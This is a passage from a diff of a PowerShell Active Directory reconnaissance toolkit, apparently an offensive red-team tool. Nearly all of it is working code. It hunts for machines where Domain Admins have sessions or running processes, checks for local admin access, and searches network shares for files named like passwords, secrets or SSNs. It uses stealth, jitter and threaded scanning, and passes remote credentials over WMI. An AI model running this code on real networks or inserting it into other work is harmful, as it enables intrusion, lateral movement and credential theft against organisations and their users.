| Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - # if we're just checking for access to ADMIN$ - if($CheckAdmin){ - if($netname.ToUpper() -eq "ADMIN$"){ - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" - } - catch {} + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null } + $FoundUser } - - # skip this share if it's in the exclude list - elseif ($excludedShares -notcontains $netname.ToUpper()){ - # see if we want to check access to this share - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" + } + } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin } - catch {} - } - else{ - "\\$server\$netname `t- $remark" + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser } } } } } } + } -} + process { -function Invoke-ShareFinderThreaded { - <# - .SYNOPSIS - Finds (non-standard) shares on machines in the domain. - Threaded version of Invoke-ShareFinder. Uses multithreading - to speed up enumeration. + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - Author: @harmj0y - License: BSD 3-Clause + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + } - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. - Threaded version of Invoke-ShareFinder. + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - .PARAMETER HostList - List of hostnames/IPs to search. + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + ForEach ($Computer in $ComputerName) { - .PARAMETER ExcludedShares - Shares to exclude from output, wildcards accepted (i.e. IPC*) + $Counter = $Counter + 1 - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - .PARAMETER CheckAdmin - Only display ADMIN$ shares the local user has access to. + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth + $Result - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user found, returning early" + return + } + } + } - .PARAMETER Domain - Domain to query for machines. + } +} - .PARAMETER MaxThreads - The maximum concurrent threads to execute. - .EXAMPLE - > Invoke-ShareFinder - Find shares on the domain. +function Invoke-StealthUserHunter { + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, - .EXAMPLE - > Invoke-ShareFinder -ExcludedShares IPC$,PRINT$ - Find shares on the domain excluding IPC$ and PRINT$ + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - .EXAMPLE - > Invoke-ShareFinder -HostList hosts.txt - Find shares for machines in the specified hostlist. + [String] + $ComputerFilter, - .LINK - http://blog.harmj0y.net - #> + [String] + $ComputerADSpath, - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + [String] + $GroupName = 'Domain Admins', - [string] - $HostList, + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, - [string] - $HostFilter, + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, - [string[]] - $ExcludedShares, + [Switch] + $CheckAccess, [Switch] - $CheckShareAccess, + $StopOnSuccess, [Switch] $NoPing, - [string] - $Domain, + [UInt32] + $Delay = 0, - [Int] - $MaxThreads = 20 - ) + [Double] + $Jitter = .3, - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [String] + $Domain, - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + [Switch] + $ShowAll, - $currentUser = ([Environment]::UserName).toLower() + [Switch] + $SearchForest, - Write-Verbose "[*] Running Invoke-ShareFinderThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All" + ) + # kick off Invoke-UserHunter with stealth options + Invoke-UserHunter -Stealth @PSBoundParameters +} - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) +function Invoke-ProcessHunter { +<# + .SYNOPSIS - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - # get the shares for this host and check what we find - $shares = Get-NetShare -HostName $Server - foreach ($share in $shares) { - Write-Debug "[*] Server share: $share" - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname + Query the process lists of remote machines, searching for + processes with a specific name or owned by a specific user. + Thanks to @paulbrandau for the approach idea. + + Author: @harmj0y + License: BSD 3-Clause - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ - # if we're just checking for access to ADMIN$ - if($CheckAdmin){ - if($netname.ToUpper() -eq "ADMIN$"){ - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" - } - catch {} - } - } - # skip this share if it's in the exclude list - elseif ($excludedShares -notcontains $netname.ToUpper()){ - # see if we want to check access to this share - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" - } - catch {} - } - else{ - "\\$server\$netname `t- $remark" - } - } - } - } - } - } + .PARAMETER ComputerName - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + Host array to enumerate, passable on the pipeline. - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + .PARAMETER ComputerFile - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + File of hostnames/IPs to search. - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } + .PARAMETER ComputerFilter - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } + Host filter name to query AD for, wildcards accepted. - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 + .PARAMETER ComputerADSpath - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - $jobs = @() - $ps = @() - $wait = @() + .PARAMETER ProcessName - $counter = 0 - } + The name of the process to hunt, or a comma separated list of names. - process { + .PARAMETER GroupName - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + Group name to query for target users. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + .PARAMETER TargetServer - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server $($counter+1) of $($Hosts.count))" + Hunt for users who are effective local admins on a target server. - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + .PARAMETER UserName - # create a "powershell pipeline runner" - $ps += [powershell]::create() + Specific username to search for. - $ps[$counter].runspacepool = $pool + .PARAMETER UserFilter - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('CheckShareAccess', $CheckShareAccess).AddParameter('ExcludedShares', $ExcludedShares) + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - # start job - $jobs += $ps[$counter].BeginInvoke(); + .PARAMETER UserADSpath - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - end { - Write-Verbose "Waiting for scanning threads to finish..." + .PARAMETER UserFile - $waitTimeout = Get-Date + File of usernames to search for. - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + .PARAMETER RemoteUserName - # end async call - for ($y = 0; $y -lt $counter; $y++) { + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + .PARAMETER RemotePassword - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } - $pool.Dispose() - } -} + The password to use for the WMI call on a remote system. + .PARAMETER StopOnSuccess -function Invoke-FileFinder { - <# - .SYNOPSIS - Finds sensitive files on the domain. + Switch. Stop hunting after finding after finding a target user/process. - Author: @harmj0y - License: BSD 3-Clause + .PARAMETER NoPing - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. + Switch. Don't ping each host to ensure it's up before enumerating. - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + .PARAMETER Delay - .PARAMETER HostList - List of hostnames/IPs to search. + Delay between enumerating hosts, defaults to 0 - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + .PARAMETER Jitter - .PARAMETER ShareList - List if \\HOST\shares to search through. + Jitter for the host delay, defaults to +/- 0.3 - .PARAMETER Terms - Terms to search for. + .PARAMETER Domain - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) + Domain for query for machines, defaults to the current domain. - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. + .PARAMETER DomainController - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. + Domain controller to reflect LDAP queries through. - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. + .PARAMETER ShowAll - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. + Switch. Return all user location results. - .PARAMETER IncludeC - Include any C$ shares in recursive searching (default ignore). + .PARAMETER SearchForest - .PARAMETER IncludeAdmin - Include any ADMIN$ shares in recursive searching (default ignore). + Switch. Search all domains in the forest for target users instead of just + a single domain. - .PARAMETER ExcludeFolders - Exclude folders from the search results. + .PARAMETER Threads - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. + The maximum concurrent threads to execute. - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. + .EXAMPLE - .PARAMETER OutFile - Output results to a specified csv output file. + PS C:\> Invoke-ProcessHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins have a + running process. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + .EXAMPLE - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + PS C:\> Invoke-ProcessHunter -Threads 20 - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. - .PARAMETER Domain - Domain to query for machines + .EXAMPLE - .EXAMPLE - > Invoke-FileFinder - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt have running + processes. - .EXAMPLE - > Invoke-FileFinder -Domain testing - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + .EXAMPLE - .EXAMPLE - > Invoke-FileFinder -IncludeC - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login' or 'unattend*.xml' in the name, - including C$ shares. + PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups have + running processes with a 60 second (+/- *.3) randomized delay between + touching each host. - .EXAMPLE - > Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name, and write everything to "out.csv" + .LINK - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> + http://blog.harmj0y.net +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] [String[]] - $Hosts, + $ComputerName, - [string] - $HostList, - - [string] - $HostFilter, - - [string] - $ShareList, + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - [Switch] - $OfficeDocs, + [String] + $ComputerFilter, - [Switch] - $FreshEXES, + [String] + $ComputerADSpath, - [string[]] - $Terms, + [String] + $ProcessName, [String] - $TermList, + $GroupName = 'Domain Admins', - [string] - $AccessDateLimit = '1/1/1970', + [String] + $TargetServer, - [string] - $WriteDateLimit = '1/1/1970', + [String] + $UserName, - [string] - $CreateDateLimit = '1/1/1970', + [String] + $UserFilter, - [Switch] - $IncludeC, + [String] + $UserADSpath, - [Switch] - $IncludeAdmin, + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, - [Switch] - $ExcludeFolders, + [String] + $RemoteUserName, - [Switch] - $ExcludeHidden, + [String] + $RemotePassword, [Switch] - $CheckWriteAccess, - - [string] - $OutFile, + $StopOnSuccess, [Switch] $NoPing, @@ -8194,3195 +7527,2668 @@ function Invoke-FileFinder { [UInt32] $Delay = 0, - [double] + [Double] $Jitter = .3, - [string] - $Domain + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads ) begin { - If ($PSBoundParameters['Debug']) { + if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - # figure out the shares we want to ignore - [String[]] $excludedShares = @("C$", "ADMIN$") - # random object for delay - $randNo = New-Object System.Random + $RandNo = New-Object System.Random - # see if we're specifically including any of the normally excluded sets - if ($IncludeC){ - if ($IncludeAdmin){ - $excludedShares = @() - } - else{ - $excludedShares = @("ADMIN$") - } - } + Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" - if ($IncludeAdmin){ - if ($IncludeC){ - $excludedShares = @() - } - else{ - $excludedShares = @("C$") - } + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - # delete any existing output file if it already exists - If ($OutFile -and (Test-Path -Path $OutFile)){ Remove-Item -Path $OutFile } + ##################################################### + # + # First we build the host target set + # + ##################################################### - # if there's a set of terms specified to search for - if ($TermList){ - if (Test-Path -Path $TermList){ - foreach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $null) -and ($Term.trim() -ne '')){ - $Terms += $Term - } - } + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile } else { - Write-Warning "[!] Input file '$TermList' doesn't exist!" - return $null + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } } - } - # if we are passed a share list, enumerate each with appropriate options, then return - if($ShareList){ - if (Test-Path -Path $ShareList){ - foreach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $null) -and ($Item.trim() -ne '')){ + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $share = $Item.Split("`t")[0] + ##################################################### + # + # Now we build the user target set + # + ##################################################### - # get just the share name from the full path - $shareName = $share.split('\')[3] + if(!$ProcessName) { + Write-Verbose "No process name specified, building a target user set" - $cmd = "Invoke-SearchFiles -Path $share $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"}) $(if($OutFile){`"-OutFile $OutFile`"})" + # users we're going to be searching for + $TargetUsers = @() - Write-Verbose "[*] Enumerating share $share" - Invoke-Expression $cmd + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $_.MemberName } } } - else { - Write-Warning "[!] Input file '$ShareList' doesn't exist!" - return $null + + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" } - return } - else{ - # if we aren't using a share list, first get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if($RemoteUserName -and $RemotePassword) { + $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return + else { + $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if($ProcessName) { + $ProcessName.split(",") | ForEach-Object { + if ($Process.ProcessName -match $_) { + $Process + } + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -contains $Process.User) { + $Process + } } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter } } + } process { - if(-not $ShareList){ - if ( ((-not ($Hosts)) -or ($Hosts.length -eq 0)) -and (-not $ShareList) ) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the server list - $Hosts = Get-ShuffledArray $Hosts + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ProcessName' = $ProcessName + 'TargetUsers' = $TargetUsers + 'RemoteUserName' = $RemoteUserName + 'RemotePassword' = $RemotePassword } - # return/output the current status lines - $counter = 0 - - foreach ($server in $Hosts){ - - $counter = $counter + 1 - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - - if ($server -and ($server -ne '')){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - Write-Debug "[*] Server share: $share" - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - # skip this share if it's in the exclude list - if ($excludedShares -notcontains $netname.ToUpper()){ + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) + ForEach ($Computer in $ComputerName) { - $cmd = "Invoke-SearchFiles -Path $path $(if($Terms){`"-Terms $($Terms -join ',')`"}) $(if($ExcludeFolders){`"-ExcludeFolders`"}) $(if($OfficeDocs){`"-OfficeDocs`"}) $(if($ExcludeHidden){`"-ExcludeHidden`"}) $(if($FreshEXES){`"-FreshEXES`"}) $(if($CheckWriteAccess){`"-CheckWriteAccess`"}) $(if($OutFile){`"-OutFile $OutFile`"})" + $Counter = $Counter + 1 - Write-Verbose "[*] Enumerating share $path" + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Invoke-Expression $cmd - } - catch {} + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result - } - } - } + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user/process found, returning early" + return } } } + } } -function Invoke-FileFinderThreaded { - <# - .SYNOPSIS - Finds sensitive files on the domain. Uses multithreading to - speed up enumeration. +function Invoke-EventHunter { +<# + .SYNOPSIS - Author: @harmj0y + Queries all domain controllers on the network for account + logon events (ID 4624) and TGT request events (ID 4768), + searching for target users. + + Note: Domain Admin (or equiv) rights are needed to query + this information from the DCs. + + Author: @sixdub, @harmj0y License: BSD 3-Clause - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. - Threaded version of Invoke-FileFinder + .PARAMETER ComputerName - .PARAMETER Hosts Host array to enumerate, passable on the pipeline. - .PARAMETER HostList - List of hostnames/IPs to search. + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter - .PARAMETER HostFilter Host filter name to query AD for, wildcards accepted. - .PARAMETER ShareList - List if \\HOST\shares to search through. + .PARAMETER ComputerADSpath - .PARAMETER Terms - Terms to search for. + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - .PARAMETER OfficeDocs - Search for office documents (*.doc*, *.xls*, *.ppt*) + .PARAMETER GroupName - .PARAMETER FreshEXES - Find .EXEs accessed within the last week. + Group name to query for target users. - .PARAMETER AccessDateLimit - Only return files with a LastAccessTime greater than this date value. + .PARAMETER TargetServer - .PARAMETER WriteDateLimit - Only return files with a LastWriteTime greater than this date value. + Hunt for users who are effective local admins on a target server. - .PARAMETER CreateDateLimit - Only return files with a CreationDate greater than this date value. + .PARAMETER UserName - .PARAMETER IncludeC - Include any C$ shares in recursive searching (default ignore). + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath - .PARAMETER IncludeAdmin - Include any ADMIN$ shares in recursive searching (default ignore). + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - .PARAMETER ExcludeFolders - Exclude folders from the search results. + .PARAMETER UserFile - .PARAMETER ExcludeHidden - Exclude hidden files and folders from the search results. + File of usernames to search for. - .PARAMETER CheckWriteAccess - Only returns files the current user has write access to. + .PARAMETER NoPing - .PARAMETER NoPing Don't ping each host to ensure it's up before enumerating. - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + .PARAMETER Domain - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + Domain for query for machines, defaults to the current domain. - .PARAMETER Domain - Domain to query for machines + .PARAMETER DomainController - .EXAMPLE - > Invoke-FileFinderThreaded - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + Domain controller to reflect LDAP queries through. - .EXAMPLE - > Invoke-FileFinder -Domain testing - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + .PARAMETER SearchDays - .EXAMPLE - > Invoke-FileFinderThreaded -ShareList shares.txt -Terms accounts,ssn - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name + Number of days back to search logs for. Default 3. - .LINK - 